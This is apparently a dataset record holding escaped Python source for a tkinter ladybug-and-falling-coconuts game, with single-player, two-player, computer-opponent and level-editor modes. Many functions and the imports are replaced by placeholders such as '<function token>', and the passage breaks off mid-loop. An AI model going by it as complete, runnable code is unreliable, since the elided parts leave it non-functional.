playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in 